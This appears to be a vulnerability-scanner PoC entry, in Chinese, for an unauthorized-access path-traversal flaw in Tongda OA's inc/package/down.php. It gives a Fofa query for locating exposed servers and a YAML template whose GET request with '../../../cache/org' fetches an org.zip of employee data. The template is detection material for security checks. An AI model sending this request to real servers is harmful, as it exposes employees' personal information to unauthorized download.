tongda-down-php-unauthorized-access: 通达OA down.php存在未授权访问漏洞

2025-08-01 通达OA PoC Public

Description

通达OA（Office Anywhere网络智能办公系统） inc/package/down.php 接口存在未授权访问漏洞，通过此漏洞攻击者构造特殊链接，下载敏感文件，获取企业员工个人信息。

Fofa: app="TDXK-通达OA"

PoC

id: tongda-down-php-unauthorized-access

info:
  name: 通达OA down.php存在未授权访问漏洞
  author: Y3y1ng
  severity: high
  verified: true
  description: |-
    通达OA（Office Anywhere网络智能办公系统） inc/package/down.php 接口存在未授权访问漏洞，通过此漏洞攻击者构造特殊链接，下载敏感文件，获取企业员工个人信息。
    Fofa: app="TDXK-通达OA"
  reference:
    - https://mp.weixin.qq.com/s/YiPk8YRzgLEdwVWA-F-4XA
  tags: tongda
  created: 2023/12/04
rules:
  r0:
    request:
      method: GET
      path: /inc/package/down.php?id=../../../cache/org
    expression: |
      response.status == 200 && 
      response.raw_header.bcontains(b'org.zip')
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/tongda-down-php-unauthorized-access.yaml

References

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